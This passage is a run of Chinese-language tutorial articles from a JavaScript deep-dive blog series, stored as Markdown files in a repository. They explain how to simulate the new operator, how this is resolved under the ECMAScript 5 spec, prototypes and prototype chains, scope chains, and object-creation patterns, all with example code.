的功能?](https://www.zhihu.com/question/35787390) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之new的模拟实现.md ================================================ # JavaScript深入之new的模拟实现 > JavaScript深入系列第十二篇,通过new的模拟实现,带大家揭开使用new获得构造函数实例的真相 ## new 一句话介绍 new: > new 运算符创建一个用户定义的对象类型的实例或具有构造函数的内置对象类型之一 也许有点难懂,我们在模拟 new 之前,先看看 new 实现了哪些功能。 举个例子: ```js // Otaku 御宅族,简称宅 function Otaku (name, age) { this.name = name; this.age = age; this.habit = 'Games'; } // 因为缺乏锻炼的缘故,身体强度让人担忧 Otaku.prototype.strength = 60; Otaku.prototype.sayYourName = function () { console.log('I am ' + this.name); } var person = new Otaku('Kevin', '18'); console.log(person.name) // Kevin console.log(person.habit) // Games console.log(person.strength) // 60 person.sayYourName(); // I am Kevin ``` 从这个例子中,我们可以看到,实例 person 可以: 1. 访问到 Otaku 构造函数里的属性 2. 访问到 Otaku.prototype 中的属性 接下来,我们可以尝试着模拟一下了。 因为 new 是关键字,所以无法像 bind 函数一样直接覆盖,所以我们写一个函数,命名为 objectFactory,来模拟 new 的效果。用的时候是这样的: ```js function Otaku () { …… } // 使用 new var person = new Otaku(……); // 使用 objectFactory var person = objectFactory(Otaku, ……) ``` ## 初步实现 分析: 因为 new 的结果是一个新对象,所以在模拟实现的时候,我们也要建立一个新对象,假设这个对象叫 obj,因为 obj 会具有 Otaku 构造函数里的属性,想想经典继承的例子,我们可以使用 Otaku.apply(obj, arguments)来给 obj 添加新的属性。 在 JavaScript 深入系列第一篇中,我们便讲了原型与原型链,我们知道实例的 \_\_proto\_\_ 属性会指向构造函数的 prototype,也正是因为建立起这样的关系,实例可以访问原型上的属性。 现在,我们可以尝试着写第一版了: ```js // 第一版代码 function objectFactory() { var obj = new Object(), Constructor = [].shift.call(arguments); obj.__proto__ = Constructor.prototype; Constructor.apply(obj, arguments); return obj; }; ``` 在这一版中,我们: 1. 用new Object() 的方式新建了一个对象 obj 2. 取出第一个参数,就是我们要传入的构造函数。此外因为 shift 会修改原数组,所以 arguments 会被去除第一个参数 3. 将 obj 的原型指向构造函数,这样 obj 就可以访问到构造函数原型中的属性 4. 使用 apply,改变构造函数 this 的指向到新建的对象,这样 obj 就可以访问到构造函数中的属性 5. 返回 obj 更多关于: 原型与原型链,可以看[《JavaScript深入之从原型到原型链》](https://github.com/mqyqingfeng/Blog/issues/2) apply,可以看[《JavaScript深入之call和apply的模拟实现》](https://github.com/mqyqingfeng/Blog/issues/11) 经典继承,可以看[《JavaScript深入之继承》](https://github.com/mqyqingfeng/Blog/issues/16) 复制以下的代码,到浏览器中,我们可以做一下测试: ```js function Otaku (name, age) { this.name = name; this.age = age; this.habit = 'Games'; } Otaku.prototype.strength = 60; Otaku.prototype.sayYourName = function () { console.log('I am ' + this.name); } function objectFactory() { var obj = new Object(), Constructor = [].shift.call(arguments); obj.__proto__ = Constructor.prototype; Constructor.apply(obj, arguments); return obj; }; var person = objectFactory(Otaku, 'Kevin', '18') console.log(person.name) // Kevin console.log(person.habit) // Games console.log(person.strength) // 60 person.sayYourName(); // I am Kevin ``` []\~( ̄▽ ̄)\~** ## 返回值效果实现 接下来我们再来看一种情况,假如构造函数有返回值,举个例子: ```js function Otaku (name, age) { this.strength = 60; this.age = age; return { name: name, habit: 'Games' } } var person = new Otaku('Kevin', '18'); console.log(person.name) // Kevin console.log(person.habit) // Games console.log(person.strength) // undefined console.log(person.age) // undefined ``` 在这个例子中,构造函数返回了一个对象,在实例 person 中只能访问返回的对象中的属性。 而且还要注意一点,在这里我们是返回了一个对象,假如我们只是返回一个基本类型的值呢? 再举个例子: ```js function Otaku (name, age) { this.strength = 60; this.age = age; return 'handsome boy'; } var person = new Otaku('Kevin', '18'); console.log(person.name) // undefined console.log(person.habit) // undefined console.log(person.strength) // 60 console.log(person.age) // 18 ``` 结果完全颠倒过来,这次尽管有返回值,但是相当于没有返回值进行处理。 所以我们还需要判断返回的值是不是一个对象,如果是一个对象,我们就返回这个对象,如果没有,我们该返回什么就返回什么。 再来看第二版的代码,也是最后一版的代码: ```js // 第二版的代码 function objectFactory() { var obj = new Object(), Constructor = [].shift.call(arguments); obj.__proto__ = Constructor.prototype; var ret = Constructor.apply(obj, arguments); return typeof ret === 'object' ? ret : obj; }; ``` ## 下一篇文章 [JavaScript深入之类数组对象与arguments](https://github.com/mqyqingfeng/Blog/issues/14) ## 相关链接 [《JavaScript深入之从原型到原型链》](https://github.com/mqyqingfeng/Blog/issues/2) [《JavaScript深入之call和apply的模拟实现》](https://github.com/mqyqingfeng/Blog/issues/11) [《JavaScript深入之继承》](https://github.com/mqyqingfeng/Blog/issues/16) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之从ECMAScript规范解读this.md ================================================ # JavaScript深入之从ECMAScript规范解读this >JavaScript深入系列第六篇,本篇我们追根溯源,从ECMAScript5规范解读this在函数调用时到底是如何确定的。 ## 前言 在[《JavaScript深入之执行上下文栈》](https://github.com/mqyqingfeng/Blog/issues/4)中讲到,当JavaScript代码执行一段可执行代码(executable code)时,会创建对应的执行上下文(execution context)。 对于每个执行上下文,都有三个重要属性 * 变量对象(Variable object,VO) * 作用域链(Scope chain) * this 今天重点讲讲 this,然而不好讲。 …… 因为我们要从 ECMASciript5 规范开始讲起。 先奉上 ECMAScript 5.1 规范地址: 英文版:[http://es5.github.io/#x15.1](http://es5.github.io/#x15.1) 中文版:[http://yanhaijing.com/es5/#115](http://yanhaijing.com/es5/#115) 让我们开始了解规范吧! ## Types 首先是第 8 章 Types: >Types are further subclassified into ECMAScript language types and specification types. >An ECMAScript language type corresponds to values that are directly manipulated by an ECMAScript programmer using the ECMAScript language. The ECMAScript language types are Undefined, Null, Boolean, String, Number, and Object. >A specification type corresponds to meta-values that are used within algorithms to describe the semantics of ECMAScript language constructs and ECMAScript language types. The specification types are Reference, List, Completion, Property Descriptor, Property Identifier, Lexical Environment, and Environment Record. 我们简单的翻译一下: ECMAScript 的类型分为语言类型和规范类型。 ECMAScript 语言类型是开发者直接使用 ECMAScript 可以操作的。其实就是我们常说的Undefined, Null, Boolean, String, Number, 和 Object。 而规范类型相当于 meta-values,是用来用算法描述 ECMAScript 语言结构和 ECMAScript 语言类型的。规范类型包括:Reference, List, Completion, Property Descriptor, Property Identifier, Lexical Environment, 和 Environment Record。 没懂?没关系,我们只要知道在 ECMAScript 规范中还有一种只存在于规范中的类型,它们的作用是用来描述语言底层行为逻辑。 今天我们要讲的重点是便是其中的 Reference 类型。它与 this 的指向有着密切的关联。 ## Reference 那什么又是 Reference ? 让我们看 8.7 章 The Reference Specification Type: >The Reference type is used to explain the behaviour of such operators as delete, typeof, and the assignment operators. 所以 Reference 类型就是用来解释诸如 delete、typeof 以及赋值等操作行为的。 抄袭尤雨溪大大的话,就是: >这里的 Reference 是一个 Specification Type,也就是 “只存在于规范里的抽象类型”。它们是为了更好地描述语言的底层行为逻辑才存在的,但并不存在于实际的 js 代码中。 再看接下来的这段具体介绍 Reference 的内容: >A Reference is a resolved name binding. >A Reference consists of three components, the base value, the referenced name and the Boolean valued strict reference flag. >The base value is either undefined, an Object, a Boolean, a String, a Number, or an environment record (10.2.1). >A base value of undefined indicates that the reference could not be resolved to a binding. The referenced name is a String. 这段讲述了 Reference 的构成,由三个组成部分,分别是: * base value * referenced name * strict reference 可是这些到底是什么呢? 我们简单的理解的话: base value 就是属性所在的对象或者就是 EnvironmentRecord,它的值只可能是 undefined, an Object, a Boolean, a String, a Number, or an environment record 其中的一种。 referenced name 就是属性的名称。 举个例子: ```js var foo = 1; // 对应的Reference是: var fooReference = { base: EnvironmentRecord, name: 'foo', strict: false }; ``` 再举个例子: ```js var foo = { bar: function () { return this; } }; foo.bar(); // foo // bar对应的Reference是: var BarReference = { base: foo, propertyName: 'bar', strict: false }; ``` 而且规范中还提供了获取 Reference 组成部分的方法,比如 GetBase 和 IsPropertyReference。 这两个方法很简单,简单看一看: 1.GetBase >GetBase(V). Returns the base value component of the reference V. 返回 reference 的 base value。 2.IsPropertyReference >IsPropertyReference(V). Returns true if either the base value is an object or HasPrimitiveBase(V) is true; otherwise returns false. 简单的理解:如果 base value 是一个对象,就返回true。 ## GetValue 除此之外,紧接着在 8.7.1 章规范中就讲了一个用于从 Reference 类型获取对应值的方法: GetValue。 简单模拟 GetValue 的使用: ```js var foo = 1; var fooReference = { base: EnvironmentRecord, name: 'foo', strict: false }; GetValue(fooReference) // 1; ``` GetValue 返回对象属性真正的值,但是要注意: **调用 GetValue,返回的将是具体的值,而不再是一个 Reference** 这个很重要,这个很重要,这个很重要。 ## 如何确定this的值 关于 Reference 讲了那么多,为什么要讲 Reference 呢?到底 Reference 跟本文的主题 this 有哪些关联呢?如果你能耐心看完之前的内容,以下开始进入高能阶段: 看规范 11.2.3 Function Calls: 这里讲了当函数调用的时候,如何确定 this 的取值。 只看第一步、第六步、第七步: >1.Let *ref* be the result of evaluating MemberExpression. >6.If Type(*ref*) is Reference, then > a.If IsPropertyReference(ref) is true, then > i.Let thisValue be GetBase(ref). > b.Else, the base of ref is an Environment Record > i.Let thisValue be the result of calling the ImplicitThisValue concrete method of GetBase(ref). >7.Else, Type(*ref*) is not Reference. > a. Let thisValue be undefined. 让我们描述一下: 1.计算 MemberExpression 的结果赋值给 ref 2.判断 ref 是不是一个 Reference 类型 2.1 如果 ref 是 Reference,并且 IsPropertyReference(ref) 是 true, 那么 this 的值为 GetBase(ref) 2.2 如果 ref 是 Reference,并且 base value 值是 Environment Record, 那么this的值为 ImplicitThisValue(ref) 2.3 如果 ref 不是 Reference,那么 this 的值为 undefined ## 具体分析 让我们一步一步看: 1. 计算 MemberExpression 的结果赋值给 ref 什么是 MemberExpression?看规范 11.2 Left-Hand-Side Expressions: MemberExpression : * PrimaryExpression // 原始表达式 可以参见《JavaScript权威指南第四章》 * FunctionExpression // 函数定义表达式 * MemberExpression [ Expression ] // 属性访问表达式 * MemberExpression . IdentifierName // 属性访问表达式 * new MemberExpression Arguments // 对象创建表达式 举个例子: ```js function foo() { console.log(this) } foo(); // MemberExpression 是 foo function foo() { return function() { console.log(this) } } foo()(); // MemberExpression 是 foo() var foo = { bar: function () { return this; } } foo.bar(); // MemberExpression 是 foo.bar ``` 所以简单理解 MemberExpression 其实就是()左边的部分。 2.判断 ref 是不是一个 Reference 类型。 关键就在于看规范是如何处理各种 MemberExpression,返回的结果是不是一个Reference类型。 举最后一个例子: ```js var value = 1; var foo = { value: 2, bar: function () { return this.value; } } //示例1 console.log(foo.bar()); //示例2 console.log((foo.bar)()); //示例3 console.log((foo.bar = foo.bar)()); //示例4 console.log((false || foo.bar)()); //示例5 console.log((foo.bar, foo.bar)()); ``` ### foo.bar() 在示例 1 中,MemberExpression 计算的结果是 foo.bar,那么 foo.bar 是不是一个 Reference 呢? 查看规范 11.2.1 Property Accessors,这里展示了一个计算的过程,什么都不管了,就看最后一步: >Return a value of type Reference whose base value is baseValue and whose referenced name is propertyNameString, and whose strict mode flag is strict. 我们得知该表达式返回了一个 Reference 类型! 根据之前的内容,我们知道该值为: ```js var Reference = { base: foo, name: 'bar', strict: false }; ``` 接下来按照 2.1 的判断流程走: >2.1 如果 ref 是 Reference,并且 IsPropertyReference(ref) 是 true, 那么 this 的值为 GetBase(ref) 该值是 Reference 类型,那么 IsPropertyReference(ref) 的结果是多少呢? 前面我们已经铺垫了 IsPropertyReference 方法,如果 base value 是一个对象,结果返回 true。 base value 为 foo,是一个对象,所以 IsPropertyReference(ref) 结果为 true。 这个时候我们就可以确定 this 的值了: ```js this = GetBase(ref), ``` GetBase 也已经铺垫了,获得 base value 值,这个例子中就是foo,所以 this 的值就是 foo ,示例1的结果就是 2! 唉呀妈呀,为了证明 this 指向foo,真是累死我了!但是知道了原理,剩下的就更快了。 ### (foo.bar)() 看示例2: ```js console.log((foo.bar)()); ``` foo.bar 被 () 包住,查看规范 11.1.6 The Grouping Operator 直接看结果部分: >Return the result of evaluating Expression. This may be of type Reference. >NOTE This algorithm does not apply GetValue to the result of evaluating Expression. 实际上 () 并没有对 MemberExpression 进行计算,所以其实跟示例 1 的结果是一样的。 ### (foo.bar = foo.bar)() 看示例3,有赋值操作符,查看规范 11.13.1 Simple Assignment ( = ): 计算的第三步: >3.Let rval be GetValue(rref). 因为使用了 GetValue,所以返回的值不是 Reference 类型, 按照之前讲的判断逻辑: > 2.3 如果 ref 不是Reference,那么 this 的值为 undefined this 为 undefined,非严格模式下,this 的值为 undefined 的时候,其值会被隐式转换为全局对象。 ### (false || foo.bar)() 看示例4,逻辑与算法,查看规范 11.11 Binary Logical Operators: 计算第二步: >2.Let lval be GetValue(lref). 因为使用了 GetValue,所以返回的不是 Reference 类型,this 为 undefined ### (foo.bar, foo.bar)() 看示例5,逗号操作符,查看规范11.14 Comma Operator ( , ) 计算第二步: >2.Call GetValue(lref). 因为使用了 GetValue,所以返回的不是 Reference 类型,this 为 undefined ### 揭晓结果 所以最后一个例子的结果是: ```js var value = 1; var foo = { value: 2, bar: function () { return this.value; } } //示例1 console.log(foo.bar()); // 2 //示例2 console.log((foo.bar)()); // 2 //示例3 console.log((foo.bar = foo.bar)()); // 1 //示例4 console.log((false || foo.bar)()); // 1 //示例5 console.log((foo.bar, foo.bar)()); // 1 ``` 注意:以上是在非严格模式下的结果,严格模式下因为 this 返回 undefined,所以示例 3 会报错。 ### 补充 最最后,忘记了一个最最普通的情况: ```js function foo() { console.log(this) } foo(); ``` MemberExpression 是 foo,解析标识符,查看规范 10.3.1 Identifier Resolution,会返回一个 Reference 类型的值: ```js var fooReference = { base: EnvironmentRecord, name: 'foo', strict: false }; ``` 接下来进行判断: > 2.1 如果 ref 是 Reference,并且 IsPropertyReference(ref) 是 true, 那么 this 的值为 GetBase(ref) 因为 base value 是 EnvironmentRecord,并不是一个 Object 类型,还记得前面讲过的 base value 的取值可能吗? 只可能是 undefined, an Object, a Boolean, a String, a Number, 和 an environment record 中的一种。 IsPropertyReference(ref) 的结果为 false,进入下个判断: > 2.2 如果 ref 是 Reference,并且 base value 值是 Environment Record, 那么this的值为 ImplicitThisValue(ref) base value 正是 Environment Record,所以会调用 ImplicitThisValue(ref) 查看规范 10.2.1.1.6,ImplicitThisValue 方法的介绍:该函数始终返回 undefined。 所以最后 this 的值就是 undefined。 ## 多说一句 尽管我们可以简单的理解 this 为调用函数的对象,如果是这样的话,如何解释下面这个例子呢? ```js var value = 1; var foo = { value: 2, bar: function () { return this.value; } } console.log((false || foo.bar)()); // 1 ``` 此外,又如何确定调用函数的对象是谁呢?在写文章之初,我就面临着这些问题,最后还是放弃从多个情形下给大家讲解 this 指向的思路,而是追根溯源的从 ECMASciript 规范讲解 this 的指向,尽管从这个角度写起来和读起来都比较吃力,但是一旦多读几遍,明白原理,绝对会给你一个全新的视角看待 this 。而你也就能明白,尽管 foo() 和 (foo.bar = foo.bar)() 最后结果都指向了 undefined,但是两者从规范的角度上却有着本质的区别。 此篇讲解执行上下文的 this,即便不是很理解此篇的内容,依然不影响大家了解执行上下文这个主题下其他的内容。所以,依然可以安心的看下一篇文章。 ## 下一篇文章 [《JavaScript深入之执行上下文》](https://github.com/mqyqingfeng/Blog/issues/8) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之从原型到原型链.md ================================================ # JavaScript深入之从原型到原型链 >JavaScript深入系列的第一篇,从原型与原型链开始讲起,如果你想知道构造函数的实例的原型,原型的原型,原型的原型的原型是什么,就来看看这篇文章吧。 ## 构造函数创建对象 我们先使用构造函数创建一个对象: ```js function Person() { } var person = new Person(); person.name = 'Kevin'; console.log(person.name) // Kevin ``` 在这个例子中,Person 就是一个构造函数,我们使用 new 创建了一个实例对象 person。 很简单吧,接下来进入正题: ## prototype 每个函数都有一个 prototype 属性,就是我们经常在各种例子中看到的那个 prototype ,比如: ```js function Person() { } // 虽然写在注释里,但是你要注意: // prototype是函数才会有的属性 Person.prototype.name = 'Kevin'; var person1 = new Person(); var person2 = new Person(); console.log(person1.name) // Kevin console.log(person2.name) // Kevin ``` 那这个函数的 prototype 属性到底指向的是什么呢?是这个函数的原型吗? 其实,函数的 prototype 属性指向了一个对象,这个对象正是调用该构造函数而创建的**实例**的原型,也就是这个例子中的 person1 和 person2 的原型。 那什么是原型呢?你可以这样理解:每一个JavaScript对象(null除外)在创建的时候就会与之关联另一个对象,这个对象就是我们所说的原型,每一个对象都会从原型"继承"属性。 让我们用一张图表示构造函数和实例原型之间的关系: ![构造函数和实例原型的关系图](https://github.com/mqyqingfeng/Blog/raw/master/Images/prototype1.png) 在这张图中我们用 Object.prototype 表示实例原型。 那么我们该怎么表示实例与实例原型,也就是 person 和 Person.prototype 之间的关系呢,这时候我们就要讲到第二个属性: ## \_\_proto\_\_ 这是每一个JavaScript对象(除了 null )都具有的一个属性,叫\_\_proto\_\_,这个属性会指向该对象的原型。 为了证明这一点,我们可以在火狐或者谷歌中输入: ```js function Person() { } var person = new Person(); console.log(person.__proto__ === Person.prototype); // true ``` 于是我们更新下关系图: ![实例与实例原型的关系图](https://github.com/mqyqingfeng/Blog/raw/master/Images/prototype2.png) 既然实例对象和构造函数都可以指向原型,那么原型是否有属性指向构造函数或者实例呢? ## constructor 指向实例倒是没有,因为一个构造函数可以生成多个实例,但是原型指向构造函数倒是有的,这就要讲到第三个属性:constructor,每个原型都有一个 constructor 属性指向关联的构造函数。 为了验证这一点,我们可以尝试: ```js function Person() { } console.log(Person === Person.prototype.constructor); // true ``` 所以再更新下关系图: ![实例原型与构造函数的关系图](https://github.com/mqyqingfeng/Blog/raw/master/Images/prototype3.png) 综上我们已经得出: ```js function Person() { } var person = new Person(); console.log(person.__proto__ == Person.prototype) // true console.log(Person.prototype.constructor == Person) // true // 顺便学习一个ES5的方法,可以获得对象的原型 console.log(Object.getPrototypeOf(person) === Person.prototype) // true ``` 了解了构造函数、实例原型、和实例之间的关系,接下来我们讲讲实例和原型的关系: ## 实例与原型 当读取实例的属性时,如果找不到,就会查找与对象关联的原型中的属性,如果还查不到,就去找原型的原型,一直找到最顶层为止。 举个例子: ```js function Person() { } Person.prototype.name = 'Kevin'; var person = new Person(); person.name = 'Daisy'; console.log(person.name) // Daisy delete person.name; console.log(person.name) // Kevin ``` 在这个例子中,我们给实例对象 person 添加了 name 属性,当我们打印 person.name 的时候,结果自然为 Daisy。 但是当我们删除了 person 的 name 属性时,读取 person.name,从 person 对象中找不到 name 属性就会从 person 的原型也就是 person.\_\_proto\_\_ ,也就是 Person.prototype中查找,幸运的是我们找到了 name 属性,结果为 Kevin。 但是万一还没有找到呢?原型的原型又是什么呢? ## 原型的原型 在前面,我们已经讲了原型也是一个对象,既然是对象,我们就可以用最原始的方式创建它,那就是: ```js var obj = new Object(); obj.name = 'Kevin' console.log(obj.name) // Kevin ``` 所以原型对象是通过 Object 构造函数生成的,结合之前所讲,实例的 \_\_proto\_\_ 指向构造函数的 prototype ,所以我们再更新下关系图: ![原型的原型关系图](https://github.com/mqyqingfeng/Blog/raw/master/Images/prototype4.png) ## 原型链 那 Object.prototype 的原型呢? null,我们可以打印: ```js console.log(Object.prototype.__proto__ === null) // true ``` 然而 null 究竟代表了什么呢? 引用阮一峰老师的 [《undefined与null的区别》](http://www.ruanyifeng.com/blog/2014/03/undefined-vs-null.html) 就是: > null 表示“没有对象”,即该处不应该有值。 所以 Object.prototype.\_\_proto\_\_ 的值为 null 跟 Object.prototype 没有原型,其实表达了一个意思。 所以查找属性的时候查到 Object.prototype 就可以停止查找了。 最后一张关系图也可以更新为: ![原型链示意图](https://github.com/mqyqingfeng/Blog/raw/master/Images/prototype5.png) 顺便还要说一下,图中由相互关联的原型组成的链状结构就是原型链,也就是蓝色的这条线。 ## 补充 最后,补充三点大家可能不会注意的地方: ### constructor 首先是 constructor 属性,我们看个例子: ```js function Person() { } var person = new Person(); console.log(person.constructor === Person); // true ``` 当获取 person.constructor 时,其实 person 中并没有 constructor 属性,当不能读取到constructor 属性时,会从 person 的原型也就是 Person.prototype 中读取,正好原型中有该属性,所以: ```js person.constructor === Person.prototype.constructor ``` ### \_\_proto\_\_ 其次是 \_\_proto\_\_ ,绝大部分浏览器都支持这个非标准的方法访问原型,然而它并不存在于 Person.prototype 中,实际上,它是来自于 Object.prototype ,与其说是一个属性,不如说是一个 getter/setter,当使用 obj.\_\_proto\_\_ 时,可以理解成返回了 Object.getPrototypeOf(obj)。 ### 真的是继承吗? 最后是关于继承,前面我们讲到“每一个对象都会从原型‘继承’属性”,实际上,继承是一个十分具有迷惑性的说法,引用《你不知道的JavaScript》中的话,就是: 继承意味着复制操作,然而 JavaScript 默认并不会复制对象的属性,相反,JavaScript 只是在两个对象之间创建一个关联,这样,一个对象就可以通过委托访问另一个对象的属性和函数,所以与其叫继承,委托的说法反而更准确些。 ## 下一篇文章 [JavaScript深入之词法作用域和动态作用域](https://github.com/mqyqingfeng/Blog/issues/3) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之作用域链.md ================================================ # JavaScript深入之作用域链 >JavaScript深入系列第五篇,讲述作用链的创建过程,最后结合着变量对象,执行上下文栈,让我们一起捋一捋函数创建和执行的过程中到底发生了什么? ## 前言 在[《JavaScript深入之执行上下文栈》](https://github.com/mqyqingfeng/Blog/issues/4)中讲到,当JavaScript代码执行一段可执行代码(executable code)时,会创建对应的执行上下文(execution context)。 对于每个执行上下文,都有三个重要属性: * 变量对象(Variable object,VO) * 作用域链(Scope chain) * this 今天重点讲讲作用域链。 ## 作用域链 在[《JavaScript深入之变量对象》](https://github.com/mqyqingfeng/Blog/issues/5)中讲到,当查找变量的时候,会先从当前上下文的变量对象中查找,如果没有找到,就会从父级(词法层面上的父级)执行上下文的变量对象中查找,一直找到全局上下文的变量对象,也就是全局对象。这样由多个执行上下文的变量对象构成的链表就叫做作用域链。 下面,让我们以一个函数的创建和激活两个时期来讲解作用域链是如何创建和变化的。 ## 函数创建 在[《JavaScript深入之词法作用域和动态作用域》](https://github.com/mqyqingfeng/Blog/issues/3)中讲到,函数的作用域在函数定义的时候就决定了。 这是因为函数有一个内部属性 [[scope]],当函数创建的时候,就会保存所有父变量对象到其中,你可以理解 [[scope]] 就是所有父变量对象的层级链,但是注意:[[scope]] 并不代表完整的作用域链! 举个例子: ```js function foo() { function bar() { ... } } ``` 函数创建时,各自的[[scope]]为: ```js foo.[[scope]] = [ globalContext.VO ]; bar.[[scope]] = [ fooContext.AO, globalContext.VO ]; ``` ## 函数激活 当函数激活时,进入函数上下文,创建 VO/AO 后,就会将活动对象添加到作用链的前端。 这时候执行上下文的作用域链,我们命名为 Scope: ```js Scope = [AO].concat([[Scope]]); ``` 至此,作用域链创建完毕。 ## 捋一捋 以下面的例子为例,结合着之前讲的变量对象和执行上下文栈,我们来总结一下函数执行上下文中作用域链和变量对象的创建过程: ```js var scope = "global scope"; function checkscope(){ var scope2 = 'local scope'; return scope2; } checkscope(); ``` 执行过程如下: 1.checkscope 函数被创建,保存作用域链到 内部属性[[scope]] ```js checkscope.[[scope]] = [ globalContext.VO ]; ``` 2.执行 checkscope 函数,创建 checkscope 函数执行上下文,checkscope 函数执行上下文被压入执行上下文栈 ```js ECStack = [ checkscopeContext, globalContext ]; ``` 3.checkscope 函数并不立刻执行,开始做准备工作,第一步:复制函数[[scope]]属性创建作用域链 ```js checkscopeContext = { Scope: checkscope.[[scope]], } ``` 4.第二步:用 arguments 创建活动对象,随后初始化活动对象,加入形参、函数声明、变量声明 ```js checkscopeContext = { AO: { arguments: { length: 0 }, scope2: undefined } } ``` 5.第三步:将活动对象压入 checkscope 作用域链顶端 ```js checkscopeContext = { AO: { arguments: { length: 0 }, scope2: undefined }, Scope: [AO, [[Scope]]] } ``` 6.准备工作做完,开始执行函数,随着函数的执行,修改 AO 的属性值 ```js checkscopeContext = { AO: { arguments: { length: 0 }, scope2: 'local scope' }, Scope: [AO, [[Scope]]] } ``` 7.查找到 scope2 的值,返回后函数执行完毕,函数上下文从执行上下文栈中弹出 ```js ECStack = [ globalContext ]; ``` ## 下一篇文章 [《JavaScript深入之从ECMAScript规范解读this》](https://github.com/mqyqingfeng/Blog/issues/7) ## 本文相关链接 [《JavaScript深入之词法作用域和动态作用域》](https://github.com/mqyqingfeng/Blog/issues/3) [《JavaScript深入之执行上下文栈》](https://github.com/mqyqingfeng/Blog/issues/4) [《JavaScript深入之变量对象》](https://github.com/mqyqingfeng/Blog/issues/5) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之创建对象的多种方式以及优缺点.md ================================================ # JavaScript深入之创建对象的多种方式以及优缺点 > JavaScript深入系列第十四篇,讲解创建对象的各种方式,以及优缺点。 ## 写在前面 这篇文章讲解创建对象的各种方式,以及优缺点。 但是注意: 这篇文章更像是笔记,因为《JavaScript高级程序设计》写得真是太好了! ## 1. 工厂模式 ```js function createPerson(name) { var o = new Object(); o.name = name; o.getName = function () { console.log(this.name); }; return o; } var person1 = createPerson('kevin'); ``` 缺点:对象无法识别,因为所有的实例都指向一个原型 ## 2. 构造函数模式 ```js function Person(name) { this.name = name; this.getName = function () { console.log(this.name); }; } var person1 = new Person('kevin'); ``` 优点:实例可以识别为一个特定的类型 缺点:每次创建实例时,每个方法都要被创建一次 ## 2.1 构造函数模式优化 ```js function Person(name) { this.name = name; this.getName = getName; } function getName() { console.log(this.name); } var person1 = new Person('kevin'); ``` 优点:解决了每个方法都要被重新创建的问题 缺点:这叫啥封装…… ## 3. 原型模式 ```js function Person(name) { } Person.prototype.name = 'keivn'; Person.prototype.getName = function () { console.log(this.name); }; var person1 = new Person(); ``` 优点:方法不会重新创建 缺点:1. 所有的属性和方法都共享 2. 不能初始化参数 ## 3.1 原型模式优化 ```js function Person(name) { } Person.prototype = { name: 'kevin', getName: function () { console.log(this.name); } }; var person1 = new Person(); ``` 优点:封装性好了一点 缺点:重写了原型,丢失了constructor属性 ## 3.2 原型模式优化 ```js function Person(name) { } Person.prototype = { constructor: Person, name: 'kevin', getName: function () { console.log(this.name); } }; var person1 = new Person(); ``` 优点:实例可以通过constructor属性找到所属构造函数 缺点:原型模式该有的缺点还是有 ## 4. 组合模式 构造函数模式与原型模式双剑合璧。 ```js function Person(name) { this.name = name; } Person.prototype = { constructor: Person, getName: function () { console.log(this.name); } }; var person1 = new Person(); ``` 优点:该共享的共享,该私有的私有,使用最广泛的方式 缺点:有的人就是希望全部都写在一起,即更好的封装性 ## 4.1 动态原型模式 ```js function Person(name) { this.name = name; if (typeof this.getName != "function") { Person.prototype.getName = function () { console.log(this.name); } } } var person1 = new Person(); ``` 注意:使用动态原型模式时,不能用对象字面量重写原型 解释下为什么: ```js function Person(name) { this.name = name; if (typeof this.getName != "function") { Person.prototype = { constructor: Person, getName: function () { console.log(this.name); } } } } var person1 = new Person('kevin'); var person2 = new Person('daisy'); // 报错 并没有该方法 person1.getName(); // 注释掉上面的代码,这句是可以执行的。 person2.getName(); ``` 为了解释这个问题,假设开始执行`var person1 = new Person('kevin')`。 如果对 new 和 apply 的底层执行过程不是很熟悉,可以阅读底部相关链接中的文章。 我们回顾下 new 的实现步骤: 1. 首先新建一个对象 2. 然后将对象的原型指向 Person.prototype 3. 然后 Person.apply(obj) 4. 返回这个对象 注意这个时候,回顾下 apply 的实现步骤,会执行 obj.Person 方法,这个时候就会执行 if 语句里的内容,注意构造函数的 prototype 属性指向了实例的原型,使用字面量方式直接覆盖 Person.prototype,并不会更改实例的原型的值,person1 依然是指向了以前的原型,而不是 Person.prototype。而之前的原型是没有 getName 方法的,所以就报错了! 如果你就是想用字面量方式写代码,可以尝试下这种: ```js function Person(name) { this.name = name; if (typeof 